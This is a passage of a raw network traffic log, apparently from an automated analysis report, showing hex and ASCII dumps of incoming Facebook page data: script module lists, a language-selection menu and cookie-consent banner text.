ebSpeedInteractionsTypedLogger":{"r":["iqaNd7v","7Z7sy3l","3cz8Gep"],"be":1},"AsyncRequest":{"r":["LfFe6kq","9NMF+qx","s4W0XF\/","OLUnqzA","9MogwrT","7Z7sy3l","mdXyUDL"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"DOM":{"r"
2023-05-28 08:43:48 UTC	2105	IN	Data Raw: 22 79 57 6f 30 41 5a 31 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 39 6e 56 62 58 4a 65 22 2c 22 65 2b 54 54 45 56 4a 22 2c 22 6f 49 42 69 34 42 41 22 2c 22 73 35 64 4f 6d 63 37 22 2c 22 62 4f 67 54 50 47 61 22 2c 22 46 56 7a 37 56 4e 6a 22 2c 22 6b 4f 45 48 76 70 75 22 2c 22 31 69 30 51 5c 2f 34 46 22 2c 22 76 68 4f 65 42 39 55 22 2c 22 44 78 67 39 5a 41 79 22 2c 22 54 58 7a 4a 35 48 46 22 2c 22 76 57 64 55 4f 75 77 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 2b 7a 79 76 38 55 65 22 2c 22 4d 44 6a 31 63 30 37 22 2c 22 67 71 57 4c 55 45 54 22 2c 22 74 6a 42 71 48 6e 74 22 2c 22 2b 57 4c 4f 30 34 6e 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 70 5c 2f 34 6c 56 39 51 22 2c 22 48 4c 54 48 42 46 4f 22 2c 22 Data Ascii: "yWo0AZ1","fnxPgw\/","9nVbXJe","e+TTEVJ","oIBi4BA","s5dOmc7","bOgTPGa","FVz7VNj","kOEHvpu","1i0Q\/4F","vhOeB9U","Dxg9ZAy","TXzJ5HF","vWdUOuw","RXcDBlB","9NMF+qx","naEcrOG","+zyv8Ue","MDj1c07","gqWLUET","tjBqHnt","+WLO04n","s4W0XF\/","p\/4lV9Q","HLTHBFO","
2023-05-28 08:43:48 UTC	2106	IN	Data Raw: 22 66 6e 78 50 67 77 5c 2f 22 2c 22 62 4f 67 54 50 47 61 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 54 4c 55 56 6b 36 54 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 2c 22 65 4e 53 67 44 73 57 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 70 46 62 4a 6b 78 7a 22 2c 22 7a 72 31 53 34 50 44 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 Data Ascii: "fnxPgw\/","bOgTPGa","RXcDBlB","9NMF+qx","naEcrOG","s4W0XF\/","OLUnqzA","ZTenV+A","j2uvXwT","TLUVk6T","9MogwrT","dMb5wSd","qL0EXDg","7Z7sy3l","p5x\/gkl","eNSgDsW","62f+FzQ","pFbJkxz","zr1S4PD"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8G
2023-05-28 08:43:48 UTC	2108	IN	Data Raw: 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 48 4c 54 48 42 46 4f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 54 4c 55 56 6b 36 54 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 70 46 62 4a 6b 78 7a 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 51 75 69 63 6b 53 61 6e 64 53 6f 6c 76 65 72 22 3a 7b 22 72 22 3a 5b 22 64 41 57 4e Data Ascii: NMF+qx","naEcrOG","s4W0XF\/","HLTHBFO","OLUnqzA","ZTenV+A","j2uvXwT","TLUVk6T","9MogwrT","dMb5wSd","qL0EXDg","7Z7sy3l","p5x\/gkl","62f+FzQ","pFbJkxz"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"QuickSandSolver":{"r":["dAWN
2023-05-28 08:43:48 UTC	2109	IN	Data Raw: 22 52 58 63 44 42 6c 42 22 2c 22 48 4c 54 48 42 46 4f 22 2c 22 36 32 66 2b 46 7a 51 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 54 69 74 6c 65 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 70 46 62 4a Data Ascii: "RXcDBlB","HLTHBFO","62f+FzQ"],"be":1},"XUIDialogTitle.react":{"r":["rT8MmX8","R5w1rCJ","mdXyUDL","Hsd7Z2V","LfFe6kq","i1vDKt9","fnxPgw\/","RXcDBlB","9NMF+qx","naEcrOG","s4W0XF\/","OLUnqzA","j2uvXwT","9MogwrT","qL0EXDg","7Z7sy3l","dMb5wSd","62f+FzQ","pFbJ
2023-05-28 08:43:48 UTC	2111	IN	Data Raw: 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 6e 6f 6e 5f 6c 69 6e 6b 73 68 69 6d 5f 6c 6e 66 62 5f 6d 6f 64 65 22 3a 6e 75 6c 6c 2c 22 6c 69 6e 6b 5f 72 65 61 63 74 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 33 77 33 54 47 4c 75 56 59 4a 67 68 61 33 62 55 31 46 4c 46 49 4a 71 48 46 50 35 66 6d 5f 50 4d 5f 74 4f 50 4a 55 4b 43 4a 46 4a 58 6f 47 64 37 7a 35 67 68 44 41 6a 7a 38 43 55 4b 34 50 70 7a 48 6c 53 79 6b 34 49 56 75 76 6b 6c 6a 44 32 6b 48 4b 4b 6b 51 67 53 39 59 73 61 36 32 31 62 42 56 32 6a 4a 48 44 5a 6a 69 55 6e 49 6b 68 7a 79 33 4c 32 5a 55 56 6f 6b 45 37 30 49 55 4f 53 42 6a 5f 65 38 53 52 72 30 56 42 70 7a 42 66 53 6b 59 39 52 77 22 2c 22 75 6e 74 72 75 73 74 65 64 5f 6c 69 6e 6b 5f 64 65 66 61 75 Data Ascii: eferrer_policy":"origin","non_linkshim_lnfb_mode":null,"link_react_default_hash":"AT3w3TGLuVYJgha3bU1FLFIJqHFP5fm_PM_tOPJUKCJFJXoGd7z5ghDAjz8CUK4PpzHlSyk4IVuvkljD2kHKKkQgS9Ysa621bBV2jJHDZjiUnIkhzy3L2ZUVokE70IUOSBj_e8SRr0VBpzBfSkY9Rw","untrusted_link_defau
2023-05-28 08:43:48 UTC	2112	IN	Data Raw: 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 4f 63 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 66 5f 73 38 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 67 5f 52 76 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 66 61 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 69 5f 69 49 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6a 5f 75 56 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6b 5f 74 4a 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 6f 71 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6d 5f 61 49 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 Data Ascii: markup_3310c079_0_e_Oc","__markup_3310c079_0_f_s8","__markup_3310c079_0_g_Rv","__markup_3310c079_0_h_fa","__markup_3310c079_0_i_iI","__markup_3310c079_0_j_uV","__markup_3310c079_0_k_tJ","__markup_3310c079_0_l_oq","__markup_3310c079_0_m_aI","__markup_3310c
2023-05-28 08:43:48 UTC	2114	IN	Data Raw: 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 73 5f 4c 41 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 35 5f 77 73 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 73 5f 45 53 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f Data Ascii: s":"headerItem","value":"es_LA","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_5_ws"},"label":"Espa\u00f1ol","title":"","className":"headerItem"},{"class":"headerItem","value":"es_ES","selected":false,"ctor":{"__
2023-05-28 08:43:48 UTC	2114	IN	Data Raw: 31 63 37 66 0d 0a 46 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 37 5f 38 79 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 69 74 5f 49 54 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 Data Ascii: 1c7fFR","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_7_8y"},"label":"Fran\u00e7ais (France)","title":"","className":"headerItem"},{"class":"headerItem","value":"it_IT","selected":false,"ctor":{"__m":"MenuSele
2023-05-28 08:43:48 UTC	2115	IN	Data Raw: 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 6f 5f 52 4f 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 66 5f 73 38 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 52 6f 6d 5c 75 30 30 65 32 6e 5c 75 30 31 30 33 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b Data Ascii: 00eas (Portugal)","title":"","className":"headerItem"},{"class":"headerItem","value":"ro_RO","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_f_s8"},"label":"Rom\u00e2n\u0103","title":"","className":"headerItem"},{
2023-05-28 08:43:48 UTC	2117	IN	Data Raw: 55 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6d 5f 61 49 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 34 32 30 5c 75 30 34 34 33 5c 75 30 34 34 31 5c 75 30 34 34 31 5c 75 30 34 33 61 5c 75 30 34 33 38 5c 75 30 34 33 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 65 5f 49 4c 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f Data Ascii: U","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_m_aI"},"label":"\u0420\u0443\u0441\u0441\u043a\u0438\u0439","title":"","className":"headerItem"},{"class":"headerItem","value":"he_IL","selected":false,"ctor":{"_
2023-05-28 08:43:48 UTC	2118	IN	Data Raw: 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 48 4b 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 75 53 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6a 61 5f 4a 50 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 Data Ascii: headerItem","value":"zh_HK","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_t_uS"},"label":"\u4e2d\u6587(\u9999\u6e2f)","title":"","className":"headerItem"},{"class":"headerItem","value":"ja_JP","selected":false,"
2023-05-28 08:43:48 UTC	2120	IN	Data Raw: 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 2b 74 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 69 35 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 70 44 22 7d 2c 5b 7b 22 5f 5f 6d 22 3a 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 7d 5d 5d 2c 31 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 2b 74 22 2c 5b 22 50 6f 70 6f 76 65 72 22 2c 22 5f 5f 65 6c 65 6d 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 57 79 22 2c 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 69 35 22 2c 22 43 6f 6e 74 65 78 74 75 61 6c 4c 61 79 65 72 41 75 74 6f 46 6c 69 70 22 2c 22 43 Data Ascii: __m":"__inst_1de146dc_0_0_+t"},{"__m":"__elem_ec77afbd_0_0_i5"},{"__m":"__inst_02182015_0_0_pD"},[{"__m":"PopoverMenuContextMinWidth"}]],1],["__inst_1de146dc_0_0_+t",["Popover","__elem_1de146dc_0_0_Wy","__elem_ec77afbd_0_0_i5","ContextualLayerAutoFlip","C
2023-05-28 08:43:48 UTC	2121	IN	Data Raw: 33 32 30 66 0d 0a 61 63 65 62 6f 6f 6b 20 6f 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 30 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 20 70 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 63 6f 6e 74 65 6e 74 20 6f 6e 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 31 35 36 31 34 38 35 34 37 34 30 37 34 31 33 39 5c Data Ascii: 320facebook on this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_al50\">\u003Cdiv>\u003Cp>We use cookies and similar technologies to help provide and improve content on \u003Ca href=\"https:\/\/www.facebook.com\/help\/1561485474074139\
2023-05-28 08:43:48 UTC	2123	IN	Data Raw: 63 6f 6d 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 63 6f 6f 6b 69 65 5f 69 6e 66 6f 5f 63 61 72 64 5f 69 6d 61 67 65 5f 31 2e 70 6e 67 5c 22 20 61 6c 74 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 7a 5c 22 20 5c 2f 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 5f 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 2d 5c 22 3e 57 68 61 74 20 61 72 65 20 63 6f 6f 6b 69 65 73 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 36 36 5c 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 Data Ascii: com\/images\/cookies\/cookie_info_card_image_1.png\" alt=\"background image\" class=\"_al4z\" \/>\u003Cdiv class=\"_al4_\">\u003Cdiv class=\"_al4-\">What are cookies?\u003C\/div>\u003Cbutton class=\"_al66\">Learn more\u003C\/button>\u003C\/div>\u003C\/div
2023-05-28 08:43:48 UTC	2124	IN	Data Raw: 70 61 6e 69 65 73 5c 75 30 30 33 43 5c 2f 68 32 3e 5c 75 30 30 33 43 70 20 73 74 79 6c 65 3d 5c 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 5c 22 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 3f 61 6e 6e 6f 74 61 74 69 6f 6e 73 5b 30 5d 3d 65 78 70 6c 61 6e 61 74 69 6f 6e 5c 75 30 30 32 35 32 46 33 5f 63 6f 6d 70 61 6e 69 65 73 5f 6c 69 73 74 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 6f 74 68 65 72 20 63 6f 6d 70 61 6e 69 65 73 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 73 Data Ascii: panies\u003C\/h2>\u003Cp style=\"margin-bottom: 0;\">We use cookies from \u003Ca href=\"https:\/\/www.facebook.com\/privacy\/policies\/cookies\/?annotations[0]=explanation\u00252F3_companies_list\" target=\"_blank\">other companies\u003C\/a> in order to s
2023-05-28 08:43:48 UTC	2126	IN	Data Raw: 67 63 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 66 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 66 5c 22 3e 49 66 20 79 6f 75 20 61 6c 6c 6f 77 20 74 68 65 73 65 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 37 62 61 64 33 39 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d Data Ascii: gc\">\u003Cspan class=\"_9ngf\">\u003Cdiv class=\"_al5f\">If you allow these cookies\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_EP9wX8qDDvu sx_7bad39\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=
2023-05-28 08:43:48 UTC	2127	IN	Data Raw: 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 32 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 33 5c 22 3e 57 65 20 77 6f 6e 26 23 30 33 39 3b 74 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 6f 74 68 65 72 20 63 6f 6d 70 61 6e 69 65 73 20 74 6f 20 70 65 72 73 6f 6e 61 6c 69 73 65 20 61 64 73 20 66 6f 72 20 79 6f 75 20 6f 66 66 20 6f 66 20 4d 65 74 61 20 70 72 6f 64 75 63 74 73 2c 20 6f 72 20 6d 65 61 73 75 72 65 20 74 68 65 69 72 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c Data Ascii: \/span>\u003C\/li>\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">We won't use cookies from other companies to personalise ads for you off of Meta products, or measure their performance.\u003C\/span>\u003C\/li>\u003C\/ul>\u003C\/div>\u003C\/div>\
2023-05-28 08:43:48 UTC	2128	IN	Data Raw: 6e 20 63 68 6f 6f 73 65 20 74 6f 20 73 65 65 20 66 65 77 65 72 20 61 64 73 20 61 62 6f 75 74 20 63 65 72 74 61 69 6e 20 74 6f 70 69 63 73 20 75 73 69 6e 67 20 61 64 20 74 6f 70 69 63 73 20 69 6e 20 79 6f 75 72 20 73 65 74 74 69 6e 67 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 76 74 67 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 68 5f 65 55 5c 22 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 39 63 20 5f 39 6e 67 65 5c 22 20 74 69 74 6c 65 3d 5c 22 65 78 70 61 6e 64 61 62 6c 65 20 73 65 63 74 69 6f 6e 5c 22 Data Ascii: n choose to see fewer ads about certain topics using ad topics in your settings.\u003C\/p>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9vtg\" id=\"u_0_h_eU\">\u003Cbutton class=\"_al9c _9nge\" title=\"expandable section\"
2023-05-28 08:43:48 UTC	2130	IN	Data Raw: 69 61 6e 63 65 20 6f 66 20 43 61 6e 61 64 61 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 43 61 6e 61 64 61 20 6f 72 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 77 77 2e 79 6f 75 72 6f 6e 6c 69 6e 65 63 68 6f 69 63 65 73 2e 63 6f 6d 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 74 6d 49 6c 6e 67 72 69 79 51 49 6b 51 54 71 6c 6e 4b 75 69 75 33 30 43 71 6c 6d 4e 33 4f 5f 32 79 7a 47 41 6c 6f 6a 38 37 45 44 47 6a 36 4e 73 71 51 73 4b 46 33 31 70 6b 6a 71 2d 76 4b 54 62 37 67 76 69 66 34 65 57 75 43 61 4b 53 68 70 31 53 79 6b 7a 41 35 72 35 38 43 67 Data Ascii: iance of Canada\u003C\/a> in Canada or the \u003Ca 